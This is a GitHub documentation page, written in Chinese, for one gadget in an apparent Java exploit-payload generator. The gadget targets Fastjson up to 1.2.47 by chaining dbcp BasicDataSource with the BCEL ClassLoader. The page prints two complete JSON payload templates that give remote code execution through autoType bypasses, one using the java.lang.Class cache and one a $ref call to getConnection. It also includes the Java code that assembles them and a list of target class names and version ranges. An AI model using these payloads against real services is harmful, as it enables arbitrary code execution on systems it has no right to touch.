Skip to content

Latest commit

 

History

History
88 lines (77 loc) · 5.52 KB

File metadata and controls

88 lines (77 loc) · 5.52 KB

dbcp BasicDataSource 1.2.47(FastjsonBasicDataSource)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖bceldbcpfastjson <= 1.2.47

作用

生成一段 Fastjson JSON 文本 payload:反序列化时通过 BasicDataSourcedriverClassLoader 指向 com.sun.org.apache.bcel.internal.util.ClassLoader,再用 driverClassName 传入一段 $$BCEL$$ 编码的字节码类名,createDataSource() 内部 Class.forName 触发 BCEL ClassLoader 加载并实例化任意恶意类,实现 RCE。本 gadget 本身只负责拼装 JSON 字符串模板,不是 Java 原生对象。

链接标签

  • 入口 tagsFastjsonPayload —— 承接 Fastjson payload 入口,产物是交给 Fastjson JSON.parse/parseObject 解析的 JSON 文本。
  • 衔接 nextTagsBCEL_Expr —— 之后必须接一个产出「BCEL 字节码表达式($$BCEL$$... 类名字符串)」的 gadget,典型为 BcelConverttags=BCEL_Expr,把 byte[] 字节码转成 BCEL 类名字符串)。
  • excludes:无。

源码剖析

核心是两套按 fastjson 版本切换的 JSON 模板,加一个格式化拼装:

public Object getObject(String bcel) {
    if ("1.2.24".equals(this.fastjsonVersion)) {
        return String.format(template1224, this.dbcpVersion, bcel);
    }
    return String.format(template1247, this.dbcpVersion, this.dbcpVersion, bcel);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((String)chain.doCreate(context));
}
  • invokechain.doCreate(context) 取内层对象——注意这里内层 gadget 产出的是一个 String(BCEL 类名,如 $$BCEL$$$l$8b...),这与「由内向外」的构建约定一致:下游 BcelConvert 先把字节码转成 BCEL 字符串,本 gadget 再把该字符串嵌入 JSON。
  • dbcpVersion 决定 @type 用哪种 BasicDataSource 实现类(tomcat-dbcp / commons-dbcp / dbcp2)。

template1224(fastjson <= 1.2.24 老 autoType 绕过写法):

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x1": {
            "@type": "%s",                                     // BasicDataSource 实现类
            "driverClassLoader": {
                "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
            },
            "driverClassName": "%s"                            // $$BCEL$$ 恶意类名
        }
    }: "x2"
}

BasicDataSource 作为 JSONObject(实为 Map)的 key,序列化/toString 阶段触发 getter,getConnection → createDataSource → createConnectionFactoryClass.forName(driverClassName, true, driverClassLoader) 用 BCEL ClassLoader 解码类名并 defineClass

template1247(fastjson <= 1.2.47 通用 autoType 绕过,java.lang.Class + $ref 缓存写法):

{
    "name": { "@type": "java.lang.Class", "val": "%s" },      // 预热 BasicDataSource 进 mapping 缓存
    "x1": {
        "name": { "@type": "java.lang.Class",
                  "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
        "x2": {
            "@type": "com.alibaba.fastjson.JSONObject",
            "x3": {
                "@type": "%s",
                "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
                "driverClassName": "%s",
                "$ref": "$.x1.x2.x3.connection"               // 用 $ref 引用 getConnection() 强制触发
            }
        }
    }
}

1.2.47 版本利用 java.lang.Classdeserialze 把目标类塞入 MiscUtils.mappings 白名单缓存,绕过 checkAutoType$ref: $.x1.x2.x3.connection 反序列化后期解析引用时会调用 getConnection(),强制触发数据源初始化 → BCEL 加载。

参数(@Param)

字段 名称 说明 默认 可选值
fastjsonVersion fastjson版本 选 1.2.24 或 1.2.47 对应的绕过模板 1.2.47 1.2.241.2.47
dbcpVersion dbcp版本 BasicDataSource 实现类全限定名,按目标 dbcp 依赖选 org.apache.tomcat.dbcp.dbcp.BasicDataSource org.apache.tomcat.dbcp.dbcp.BasicDataSource(tomcat-dbcp<=7.0.109)、org.apache.tomcat.dbcp.dbcp2.BasicDataSource(tomcat-dbcp 8.0.0-RC1~10.1.0-M2)、org.apache.commons.dbcp.BasicDataSource(commons-dbcp<=1.4)、org.apache.commons.dbcp2.BasicDataSource(commons-dbcp2<=2.13.0)

适用版本与原理要点

  • 适用 fastjson <= 1.2.47(含 1.2.24 与 1.2.47 两套绕过模板)。
  • 依赖目标存在某种 BasicDataSource(tomcat-dbcp / commons-dbcp / dbcp2 任一)及 bcel
  • BCEL ClassLoader 于 JDK 8u251 起被移除,故本链要求 JDK 8 < 8u251(见 BcelConvert 依赖)。
  • 属纯文本 JSON payload,最终由目标应用的 Fastjson 反序列化点触发,不经过 Java 原生序列化。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可与 BcelConvert + BytecodeConvert + Exec 手工组合。

关联